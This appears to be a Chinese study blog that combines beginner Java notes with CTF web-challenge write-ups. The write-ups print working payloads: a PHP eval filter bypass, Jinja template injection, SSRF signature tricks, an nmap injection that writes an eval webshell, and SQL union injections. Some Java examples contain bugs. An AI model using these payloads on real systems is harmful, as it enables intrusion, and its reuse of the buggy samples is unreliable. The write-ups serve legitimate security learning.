System.out.println("nums["+i+"]["+j+"]="+nums[i][j]);
}
}
}
}

如果知道数组中存的值还可以:

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static void main(String[] args) {
int[][] nums = {{1,2},{1,2,3},{2}};
for(int i=0;i<nums.length;i++) {
for(int j=0;j<nums[i].length;j++) {
System.out.println("nums["+i+"]["+j+"]="+nums[i][j]);
}
}
}

}

sample计算工资总额

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Test {

public static void main(String[] args) {
int sum = 0;
int[][] nums = {{1,2},{1,2,3},{2}};
for(int i=0;i<nums.length;i++) {
System.out.printf("第%d个人的销售总额为:",(i+1));
for(int j=0;j<nums[i].length;j++) {
sum += nums[i][j];
}
System.out.println(sum);
sum = 0;   //清零便于下一次计算
}
}

}

三、多维数组
定义:数据类型[ ][ ]…[] 数组名 = new int[ ][ ]…[]

另外在Java中null可以为引用类型赋值,作为初始值

1
2
3
4
5
6
public static void main(String[] args) {
String name = null;
name = "冲冲冲";
System.out.println(name);

}

如果想要比较两个字符串,用equals()来进行比较,返回一个布尔值,如果报错信息是NullPointerException可以考虑是空对象
随机数(乱序)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.util.Random;
public class Test {

public static void main(String[] args) {
Random random = new Random();
int buf;
int[] nums = new int[random.nextInt(10)];
for(int i=0;i<nums.length;i++) {
nums[i] = random.nextInt(100);
}
for(int i=0;i<nums.length-1 ;i++) {
for(int j=0;j<nums.length-i-1;j++) {
if(random.nextBoolean()) {
buf = nums[j];
nums[j] = nums[j+1];
nums[j+1] = buf;
}
}
}
for(int x:nums) {
System.out.println(x);
}
}

}

方法:

1.方法的定义

修饰符 返回值类型 方法名(参数列表){

方法体

[return 返回值]

}

两数比较大小的例子

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public static int max(int num1,int num2) {
int result;
if(num1>num2) {
result = num1;
}else {
result = num2;
}
return result;
}
}

2、方法的使用
Add:this代表本类对象

哪个对象调用这个方法this就是它;

比如Person p1 = new Person(); 此时this代表p1;

如果修饰符没有写,就默认为default

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class Person {
String name;
int age;
void talk() {
System.out.println("冲冲冲!!!");
System.out.println("我是"+name+"今年"+age+"岁");
}
//当局部变量与成员变量重名的时候用this区分 
void setName(String name){
this.name = name;//将局部变量赋值给成员变量
}
void setAge(int age) {
this.age = age;
}
}

Person1test.java

1
2
3
4
5
6
7
8
9
10
public class Person1Test {

public static void main(String[] args) {
Person p1 = new Person();
p1.setName("1");    //调用方法
p1.setAge(32);
p1.talk();
}

}

3、方法中的形参与实参
形参:隶属于方法体,是方法的局部变量

在调用方法时,实参和形参在数量、类型、顺序上必须保持一致;

4、方法的重载

三要素:必须在同一个类;必须方法名相同;必须参数列表不同(个数与类型)

注意:重载定义与返回值无关

1
2
3
4
5
6
7
8
9
10
11
public class Test {
public int add(int a,int b) {
return a+b;
}
public int add(int a,int b,int c) {
return a+b+c;
}
public float add(float a,float b) {
return a+b;
}
}

5、构造方法
构造方法就是每一个类中定义的,并且是再使用new关键字实例化一个新对象的时候默认调用的方法。

构造方法的功能是对新创建对象的成员变量赋值

语法结构:访问修饰符 类名([参数列表]){

功能代码

}

注意:

1、构造方法的名字必须与所属类类名一致

2、构造方法无返回值,也不可以使用void

3、构造方法可以被重载

4、构造方法不能被static和final修饰

5、构造方法不能被继承,子类使用父类的构造方法需要使用super关键字

规定:如果某一个类中,没有显式的定义一个构造方法,那系统会默认给其一个无参的构造方法,并且方法体式空的构造方法;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class Person {
int age;
String name;
public Person(int age) {
this.age = age;
System.out.println("构造方法Person(int x)被调用");
System.out.println("age="+this.age);
}
public Person() {
System.out.println("构造方法Person()被调用");
}
public Person(String name,int age) {
System.out.println("构造方法Person(String name,int age)被调用");
this.age = age;
this.name = name;
}
public void talk() {
System.out.println("name="+name+"age="+age);
}
}

构造方法也可用于私有化,不过只能在当前类,一般用于单例
6、在方法中调用方法

1、 如果调用本类的方法,直接使用方法名([实际])

2、如果调用的是其他类的方法,还是需要创建对象,然后通过对象名.方法([实参])的形式调用 ;

3、如果调用的方法是静态的,可以通过类名.方法名([实参])或接口名.方法名([实参]);

快捷键:Alt+Shift+s 封装Getters和Setters;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Person {
private String name;
private int age;

private void talk() {
System.out.println("我是"+name+",今年:"+age+"岁");
}
private void say() {
talk();
//this.talk();
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}

}

7、方法的递归调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Test {
public int add(int n){
int result = 0;
for(int i=1;i<n+1;i++) {
result += i;
}
return result;
}

public int addRecursion(int n) {
if(n==1) {
return n;
}else {
return n+addRecursion(n-1);
}
}

}

8、代码块
格式:{ 语句}

分为四种;

1、普通代码块;

2、构造代码块;

3、静态代码块;

4、同步代码块;

//普通代码块:方法名后或方法体内用一对“{}”括起来的数据库;

1
2
3
4
5
6
7
8
9
10
public class Test {
public static void main(String[] args) {
{
int x = 10;
System.out.println("普通代码块内,x="+x);
}
int x = 100;
System.out.println("x="+x);
}
}

//构造代码块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class Test {
private String name;
private int x;
//构造代码块  
{
System.out.println("构造代码块");
x= 100;
show();
}
//无参构造方法
GzCodeBlock2(){
System.out.println("构造");
name = "张三";
}
//有参构造方法
GzCodeBlock2(String name){
System.out.println("hh");
this.name = name;
show();
}
void show() {
System.out.println("welcome"+name);
System.out.println("x="+x);
}
}

//静态代码块
加一个static即可;执行一次;

9、方法和数组

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public class Test {

public static void main(String[] args) {
int in = 10;
int[] arr = new int[]{1,2,3,4,5};
System.out.println("---调用changeReferVAlue前---");
printArr(arr);
changeReferValue(in, arr);
System.out.println("---调用changeReferVAlue后---");
print(in, arr);
}
public static void changeReferValue(int a,int[] myArr) {
a+=1;
for(int i=0;i<3;i++) {
myArr[i] = 0;
}
}
public static void printArr(int[] arr) {
for(int i:arr) {
System.out.print(i+"\t");
}
System.out.println("");
}
public static void print(int in,int[] arr) {
System.out.println("in:"+in);
System.out.println("arr:");
printArr(arr);
}

}

返回数组的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class ArrayReturn {
public static int[] sort(int[] arr) {
for(int i = 0;i<arr.length-1;i++) {
for (int j = 0; j < arr.length-i-1; j++) {
if(arr[j]>arr[j+1]) {
int temp =arr[j];
arr[j] = arr[j+1];
arr[j+1] = temp;
}
}
}
return arr;
}
public static void printArr(int[] arr,String msg) {
System.out.println(msg);
for(int i:arr) {
System.out.print(i+"\t");
}
System.out.println("");
}
public static void main(String[] args) {
int[] arr = {3,5,2,6,8,4,7,9};
int arrNew[];
printArr(arr,"排序前");
arrNew = sort(arr);
printArr(arrNewa, "排序后");
}
}

10、与数组有关的操作方法
1、数组的克隆

克隆对象返回的是一个新的对象,而不是已有对象的引用

克隆对象与new操作符是有区别的,克隆对象是拷贝某个对象的当前信息,而不是对象的初始化信息;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ArrraytMethod {
public static void printArr(int[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i]+"\t");
}
System.out.println("");
}
//克隆内容相同,地址不同
public static void main(String[] args) {
int[] arr= {3,5,7,3,7,89,54,3,2,65,7};
printArr(arr);
System.out.println(arr);
int[] arrNew = arr.clone();
printArr(arrNew);
System.out.println(arrNew);
}
}

2、利用系统类库排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.util.Arrays;

public class ArrraytMethod2 {
public static void printArr(int[] arr) {
for (int i = 0; i < arr.length; i++) {
System.out.print(arr[i]+"\t");
}
System.out.println("");
}
//使用Arrays的sort方法,默认从小到大排序
public static void main(String[] args) {
int[] arr= {3,5,7,3,7,89,54,3,2,65,7};
System.out.println("排序前");
printArr(arr);
Arrays.sort(arr);
System.out.println("排序后");
printArr(arr);
}
}

数组中去除指定数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
public class Test {
public static void main(String[] args) {
int[] oldArr = {1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5};
int count = getValueNumFromArray(oldArr, 0);
int[] newArr = new int[oldArr.length-count];
copyValue(oldArr, newArr);
printArray(newArr);
}
public static int getValueNumFromArray(int[] arr,int val) {
int count = 0;
for (int i = 0; i < arr.length; i++) {
if(arr[i]==val) {
count++;
}
}
return count;
}
public static void copyValue(int[] arr1,int[] arr2) {
int j = 0;
for (int i = 0; i < arr1.length; i++) {
if(arr1[i]!=0) {
arr2[j] = arr1[i];
j++;
}
}
}

public static void printArray(int[] array){
for (int i = 0; i < array.length; i++) {
System.out.println(array[i]+"\t");
}
System.out.println("");
}

}

两个数之间的随机数

1
2
3
4
5
6
7
8
9
10
11
12
13
public class Test{
public static void main(String[] args) {
int num1 = 1;
int num2 = 16;
for(int i=0;i<100;i++) {
System.out.println(getRandom(num1, num2));
}
}
public static int getRandom(int num1,int num2) {
int result = (int)Math.random()*(num2-num1)+num1;
return result;
}
}

[ASIS 2019]Unicorn shop

进入环境是一个商店,尝试购买,提示只允许输入一个字符

图片

输入去掉小数点,买第一个说是错误的商品

那就尝试买第四个商品,但是又只能输入一个字符

wp说是去compart搜unicode大于1337的字符,代入url编码就可以了但是并没有直接给出原因,我去搜了下源码,关键部分大概在shop.py 里

图片

(焯,python不太好,只能慢慢审)

框起来的地方意思大概是把传入的price参数url解码之后utf-8,返回对应的数字类型的值

1
unicodedata.numeric(chr[, default])把一个表示数字的字符串转换为浮点数返回。比如可以把'8',"四'转换数值输出。与digit ()不一样的地方是它可以任意表示数值的字符都可以,不仅仅限于0到9的字符。如果不是合法字符,会抛出异常ValueError。

所以现在大概知道了为啥直接去搜大于1337的字符,然后随便找一个就行

[CISCN 2019 初赛]Love Math

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
error_reporting(0);
听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('' . $blackitem . 'm', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    常用数学函数http:www.w3school.com.cnphpphp_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    帮你算出答案
    eval('echo '.$content.';');
}
?>

知识补充:
1.preg_match_all()函数

1
2
3
4
5
<?php
$userinfo = "Name: <b>PHP<b> <br> Title: <b>Programming Language<b>";
preg_match_all ("<b>(.*)<\b>U", $userinfo, $pat_array);
print_r($pat_array[0]);
?>

以第二个参数为匹配对象,第一个参数为正则表达式,然后将结果以数组的形式储存在第三个参数当中
2.m在正则表达式中的作用为:将模式视为多行,使用^和$表示任何一行都可以以正则表达式开始或结束

3.in_array():判断数组中是否存在指定的值

4.PHP base_convert() 函数:函数在任意进制之间转换数字:

1
2
3
4
5
把八进制数转换为十六进制数:
<?php
$oct = "364";
echo base_convert($oct,8,16);
?>

$blacklist黑名单过滤函数
$whitelist白名单限制函数

白名单中提到的几个函数:

base_convert() 函数:在任意进制之间转换数字。

dechex() 函数:把十进制转换为十六进制。

hex2bin() 函数:把十六进制值的字符串转换为 ASCII 字符。

这三个函数的结合就可以实现任意字符的转换

1
2
3
4
5
6
7
?c=$_GET[a]($_GET[b])&a=system&b=cat flag
    
eval('echo'.$content.';');

eval('echo'.$_GET[a]($_GET[b])&a=system&b=cat flag.';');

eval('echo'.system(cat flag).';');

这里是利用了php的一些特性(字符串可以作为函数名
php中可以把函数名通过字符串的方式传递给一个变量,然后通过此变量动态调用函数比如下面的代码会执行 system(‘ls’);

1
2
$a='system';
$a('ls');

因为题目有长度限制,可以尝试构造$_GET[]然后在传入想用的payload,但是这里把中括号下划线禁用了,所以需要我们用编码绕过。
白名单里我们看到了一些可能帮助我们编码绕过的函数 base_convert ,dechex,第一个可以进行进制之间的转换,比如 base_convert(“1001”2,10)是将二进制的1001转换为10进制,第二个函数是将10进制转成16进制。

首先明确的是,我们的payload是这样的

1
system(cat flag)

然后要用GET传进去,所以要有_GET[],所以可以知道大致是这样的
?c=$_GETa&a=system&b=cat flag

中括号[]被禁用我们可以用花括号代替{},这里首先要构造$_GET,php里有可以将16进制转为字符串的函数hex2bin,要构造这个就要用base_convert函数,36进制也是base36中有字母数字正好可以满足(看了大佬wp)知道的。

由此可知,hex2bin=base_convert(37907361743,10,36),然后用另外一个函数dechex将_GET的10进制转为16进制,再通过hex2bin转换为字符串

构造完成

_GET=base_convert(37907361743,10,36)(dechex(1598506324));

再将上述的payload代入

1
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag

[WesternCTF2018]shrine

模板注入题,一来就给出了源码,整理下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('')
def index():
return open(__file__).read()

@app.route('shrine<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
app.run(debug=True)

可以看到注册了一个名为flag的config,暂且推测flag在名为flag的config中,但是后面黑名单过滤了config和self
有一个jinja,可以联想到是模板注入

图片

图片

存在模板注入,再看源码,可以知道我们提交的参数之中的()会被转换为空,同时将黑名单里的内容进行遍历,如果与黑名单的内容相同就转为none

图片

如果在没有黑名单过滤的情况下,可以用config或者self.dict进行查看

但是现在config,self,()被过滤不能直接通过这三样进行查看,那我们可以通过传入包含这三者的变量(个人理解为本质就是权限不够,转而使用权限更强的变量),所以可以考虑使用全局变量,看了WP,比如说是current_app,这其中有两个函数包含了current_app,url_for和get_flashed_messages

尝试url_for.globals

图片

尝试继续注入

{url_for.globals[‘current_app’].config}

图片

然后尝试用get_flashed_messages

图片

同样能行.

[De1CTF 2019]SSRF Me

PS:为啥全是Python了。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#! usrbinenv python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
 
app = Flask(__name__)
 
secert_key = os.urandom(16)
 
class Task:
    def __init__(self, action, param, sign, ip): #是一个简单的赋值函数
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)): #如果没有该文件夹,则创立一个文件夹
            os.mkdir(self.sandbox)
 
    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open(".%sresult.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open(".%sresult.txt" % self.sandbox, 'r') #打开方式为只读
                result['code'] = 200
                result['data'] = f.read() #读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result
 
    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
@app.route('De1ta',methods=['GET','POST']) #注意这个绑定,接下来的几个函数都很重要,这个相当于c语言里面的主函数,接下来是调用其他函数的过程
def challenge():
    action = urllib.unquote(request.cookies.get("action")) #cookie传递action参数,对应不同的处理方式
    param = urllib.unquote(request.args.get("param", "")) #传递get方式的参数param
    sign = urllib.unquote(request.cookies.get("sign")) #cookie传递sign参数sign
    ip = request.remote_addr #获取请求端的ip地址
    if(waf(param)): #调用waf函数进行过滤
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip) #创建Task类对象
    return json.dumps(task.Exec()) #以json的形式返回到客户端
 
@app.route('')
def index():
    return open("code.txt","r").read()
 
def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50] #这个可以利用为访问flag.txt。读取然后为下一步将flag.txt文件中的东西放到result.txt中做铺垫
    except:
        return "Connection Timeout"
 
def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()
 
def md5(content): #将传入的字符串进行md5加密
    return hashlib.md5(content).hexdigest()
 
def waf(param): #防火墙的作用是判断开头的几个字母是否是gopher 或者是file  如果是的话,返回true
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False
if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0',port=9999)

代码审计,慢慢审还是可以的(毕竟python比java简单多了)
一个flask框架

有几个路由,但重要的就De1ta和geneSign

分别绑定了不同的函数

Task类:

这个类中有不同的参数action,对应不同的函数执行,但是需要注意到

1
2
if "scan" in self.action:
if "read" in self.action:

判断action中的值的时候,用的是in,而不是==,所以如果action中是scanread或者是reanscan的话,if语句同时满足,相应的代码都执行。
然后这道题用到了很多Python的文件操控,稍微弄了下

#因为是在windows系统下复现,所以文件路径和源码中有些不同,但是原理一样,都是将flag.txt中的文件放在result.txt中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! usrbinenv python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
 
f = open("D:phpstudy_proWWWtestresult.txt",'w')     #注意切换为写的功能
resp = open("D:phpstudy_proWWWtestflag.txt").read()
f.write(resp)

首先明确的是,如果要得到flag,肯定有一个输出的位置,可以发现是return json.dumps(task.Exec())这里以json格式返回数据,然后数据的获得是从task类的exec方法中得到的,到这里面去看将传入的action和param和传入的sign进行checksign比较,如果相等就进行后面的操作,checksign里面调用了getsign函数,他的作用是拼接secret_key,param,action然后返回拼接后的字符串的md5加密值,通过第一处判断后,判断action的种类进行分别的操作,当action为scan时,会执行scan这个函数,作用是访问传入的参数,并返回前五十个字符,当action为read时,可以对访问的参数进行读取,到此大致有一个思路,整理下

1
首先绕过self.checkSign(),并且传入的action需要同时包含scan和read,然后if "scan" in self.action:执行将flag.txt中的数据写入result.txt中,继续if "read" in self.action:执行读取result.txt中的数据,并且放在 result['data'] 中 , return json.dumps(task.Exec())   接着返回以json的形式返回到客户端。

尝试构造payload:
首先要绕过self.checksign()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)
 
 
 
def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False
 
 
 
def getSign(action, param): #getSign的作用是拼接secret_key,param,action,然后返回拼接后的字符串的md5加密值
    return hashlib.md5(secert_key + param + action).hexdigest()

如果要满足self.checksign(),就是getsign(self.action,self.param)==self.sign(通过cookie传)
就需要hashlib.md5(secret_key+param+action).hexdigest()==self.sign,也就是hashlib.md5(secert_key + ‘flag.txt’ + ‘readscan’).hexdigest() == self.sign

所以我们要得到上述字符串的哈希值

1
2
3
4
5
@app.route("geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

但是我们不知道secret_key的值,因为在代码的最前面就定义是个伪随机数,只存在于服务端,但是可以通过上面的代码genesign来返回我们所需要的编码之后的哈希值,这里注意下,在genesign里已经把action定义为scan了,所以就直接传flag.txtread还是会拼接为flag.txtreadscan
好的先试下获取哈希值

图片

然后将flag.txt的数据读入result.txt,再读取result.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
  if "scan" in self.action:
                tmpfile = open(".%sresult.txt" % self.sandbox, 'w')   #注意w,可以对result.txt文件进行修改
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp) #这个将resp中的数据写入result.txt中,可以利用为将flag.txt中的数据放进result.txt中
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open(".%sresult.txt" % self.sandbox, 'r') #打开方式为只读
                result['code'] = 200
                result['data'] = f.read() #读取result.txt中的数据
            if result['code'] == 500:
                result['data'] = "Action Error"

不知道为啥先进De1ta是进不去的,直接爆500,把所有的参数都在Burp传进去,就有flag了
图片

[网鼎杯 2020 朱雀组]Nmap

打开后是网页版的nmap,随便输一个ip,很正常,尝试是不是命令执行

图片

很明显发生了转义,怀疑跟之前一道online的题目一样都用那两个转义符号的函数

1
2
3
escapeshellarg()函数给字符串添加单引号,而shell不会解释单引号中的特殊字符。如果字符串中已经有单引号了,那么该函数会分段处理这个字符串,对字符串中的单引号做转义,并以之分段,也就是这种形式’…’\”…’。也可以说,单引号是就近匹配的。这个函数应该用来过滤单个的shell函数的参数。

escapeshellcmd()函数对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传escapeshellcmd()对字符串中可能会欺骗shell命令执行任意命令的字符进行转义。此函数保证用户输入的数据在传送到exec()或system()函数,或者执行操作符之前进行转义。

比如说传

1
2
3
4
5
127.0.0.1' -v -d a=1
escapeshellarg()函数处理后
'127.0.0.1'\'' -v -d a=1'
接着经过escapeshellcmd()函数处理后
'172.17.0.2'\\'' -v -d a=1\'

最后的结果是172.17.0.2\发送请求,post一个a=1’的数据
然后抓个包看看

首先index.php用了POST传参传过去一个host参数,然后本地又发起了一个GET请求,传了一个参数f=90131,通过修改此参数,发现PHP报错 simplexml_load_file(): IO warning : failed to load external entity “xml90132” in varwwwhtmlresult.php on line 23

simplexml_load_file() 函数是把 XML 文档载入对象中,所以初步猜想,应该是nmap将扫描的结果保存为了xml文档,然后PHP再打开该文档解析,后台命令可能为nmap -oX 127.0.0.1 .xml

这里把一些nmap文件的命令总结下

1
2
3
4
5
6
7
8
9
10
-oN 标准保存
-oX XML保存
-oG Grep保存
-oA 保存到所有格式
-append-output 补充保存文件
-iL 读取文件内容,以文件内容作为搜索目标
-o 输出到文件
其中参数-oG可以实现将命令和结果写入文件,其格式为:内容 -oG 文件名称
nmap -iL ip_target.txt -o result.txt
扫描ip_target.txt内包含的ip地址,输出扫描结果至result.txt

所以我们可以直接采用onlinetools的payload进行
构造:

1
127.0.0.1 | <?php @eval($_POST[hack]);?> -oG shell.php

但是会被上述两个函数进行转义

1
'127.0.0.1 | \<\?php @eval\(\)\;\?\> -oG hack.php'

因为两端单引号闭合,所以一句话木马只是被当成了字符串处理,所以需要闭合所有的单引号,将一句话木马变成一条命令,尝试在Payload前后均加上'单引号:

1
'<?php @eval($_POST[hack]);?> -oG shell.php'

输入后显示hack,应该是做了过滤,后面发现是过滤了php
利用<?=来代替<?php进行绕过,利用phtml来代替shell.php的文件后缀

1
'<?=@eval($_POST[hack]);?> -oG hack.phtml'

post括号里不能有引号,否则会干扰
 这里之所以能替换:

是短标签 是长标签 在php的配置文件(php.ini)中有一个short_open_tag的值(开启on),开启以后可以使用PHP的短标签: 同时,只有开启这个才可以使用 <?= 以代替 <? echo 。,然后传进去,连蚁剑就行

[SWPU2019]Web1

进入环境注册账号然后登陆,然后有一个发布广告

随便尝试下输入下单引号’,能够发布,但点开详情存在报错说明有二次注入

图片

接着尝试下fuzz,发现information_schema以及空格等一些关键词被过滤了,空格被过滤的话可以用**来进行绕过。上述说的information_schema过滤其实是因为or被过滤了,导致不能使用information_schema和order by。另外也过滤了注释符,所以我们要把查询语句给闭合单引号,初始的查询语句不用闭合最后的单引号是因为注释语句把后面的给注释了。order by被过滤了可以用group by来进行查询字段数如group by 1,’2

先判断字段数

二分法判断,先填一个50

1
-1'**group**by**50,'2

发现大了,最后发现是22(也可以直接暴力试试)

1
-1'union**select**1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

查看下数据库版本信息

1
-1'union**select**1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

因为这里是Maria数据库的这个表可以查表名:mysql.innodb_table_stats,以及使用无列名注入

1
-1'**union**select**1,(select**group_concat(table_name)**from**mysql.innodb_table_stats**where**database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

设第二列别名为b

1
-1'**union**select**1,(select**group_concat(b)**from**(select**1,2**as**b,3**union**select*****from**users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

设第三列别名为b

1
-1'**union**select**1,(select**group_concat(b)**from**(select**1,2,3**as**b**union**select*****from**users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

图片

无列名注入,参考CTF|mysql之无列名注入.

正常查询

图片

1
select 1,2,3 union select * from user;

图片

这里看到我们的列名被1,2,3代替了。这也就是说,我们可以使用数字来代替列,如3代替了password

1
2
3
#注:3要加反引号,表明这是列的名字,而不是单纯的3,按照转义符来理解吧
#后面的a是别名,写啥都行
select `3` from (select 1,2,3 union select * from user)a;

bypass information_schema这篇文章中,是用sys.schema_auto_increment_columns 库来进行查询
导致网上很多wp都是这样写的。。

实际上本题无法使用,buuoj的平台没有 sys.schema_auto_increment_columns 这个库

而且一般要超级管理员才可以访问sys,所以一般用这个方法

图片

[MRCTF2020]PYWebsite

啊这,这道题感觉应该放在第一页而不是第二页。是我想复杂了

图片

F12里发现前端验证那个授权码,大致就是要我们的授权码经过md5后等于他所给我们的md5,然后跳转到flag.php。直接进去看下

图片

看到IP可以考虑用x-forwarded-for伪造ip127.0.0.1

图片

F12里就是

[MRCTF2020]Ezpop

Welcome to index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
Welcome to index.php
<?php
flag is in flag.php 提示:flag在flag.php文件内,猜测是当前网站根目录下的flag.php
WTF IS THIS?
Learn From https:ctf.ieki.xyzlibraryphp.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
And Crack It!

class Modifier { 类,Modifier
    protected  $var; 保护属性,$var
    public function append($value){ 自定义方法,append($value)
        include($value); 文件包含参数$value,猜测这里可以利用文件包含读取flag.php的内容
    }
    public function __invoke(){ __invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
        $this->append($this->var); 把保护属性$var传入自定义方法append($value),执行一次
    }
}
很明显:
这里我们要想执行文件包含flag.php,那么就要调用append($value)方法
这里我们要想调用append($value)方法,那么就需要调用__invoke()魔术方法
这里我们要想调用__invoke(),那么就需要将Modifier类的对象调用为函数
这里,我们会发现$var属性的值传给了$value参数,所以要想包含flag.php的源码,就需要给$var传入php:filter....................[省略]

class Show{ 类,Show
    public $source;              公有属性,$source
    public $str; 公有属性,$str
    public function __construct($file='index.php'){ 公有构造方法,在类的对象实例化之前,自动被调用
        $this->source = $file; 给$this->source属性赋值$file
        echo 'Welcome to '.$this->source."<br>"; 打印字符串
    }
    public function __toString(){ __toString()魔术方法,在类的对象被当作字符串操作的时候,自动被调用
        return $this->str->source; 返回,str属性值的source属性
    }

    public function __wakeup(){ __wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
        if(preg_match("gopher|http|file|ftp|https|dict|\.\.i", $this->source)) { 正则匹配source属性的值
            echo "hacker";
            $this->source = "index.php"; source属性赋值为index.php
        }
    }
}
很明显:
